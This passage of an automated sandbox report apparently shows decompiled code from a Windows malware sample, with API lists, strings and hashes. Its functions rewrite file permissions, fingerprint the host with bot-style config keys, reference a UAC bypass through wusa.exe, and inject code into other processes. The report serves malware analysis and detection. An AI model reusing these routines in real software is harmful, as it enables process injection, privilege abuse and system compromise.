				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 33.5, APIs: 6, Strings: 13, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

hi_id, xrefs: 00401F16, 00401F1B, 00401F33
loader_id, xrefs: 00401F4B, 00401F6B
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
kernel32, xrefs: 00401DF7
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
start_srv, xrefs: 00401E6C
net_type, xrefs: 00401E87
0t, xrefs: 00401FC9
IsWow64Process, xrefs: 00401DF2
born_date, xrefs: 00401EAD, 00401ECC
lid_file_upd, xrefs: 00401E25
work_srv, xrefs: 00401E5E
Mt, xrefs: 00401E03

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv$Mt
API String ID: 4207808166-1309689597
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

, xrefs: 00401462
%systemroot%\system32\cmd.exe, xrefs: 00401316
@, xrefs: 00401380
<, xrefs: 00401378
D, xrefs: 004015C6
uac, xrefs: 00401628
useless, xrefs: 0040161E
wusa.exe, xrefs: 00401388

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Strings

Mt, xrefs: 0040638F

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID: Mt
API String ID: 1965334864-2848310829
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 005765CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 005765DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 005765F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 0057661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 0057663B

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 3bdcefff79841400f24f90b4265bad4e5b2c0d0f1ed983bbfb951b6af5922381
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 28117371600619BFDB219F65EC49F9B3FA8FB447A9F118024F909E7290D7B1DD0096A4

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
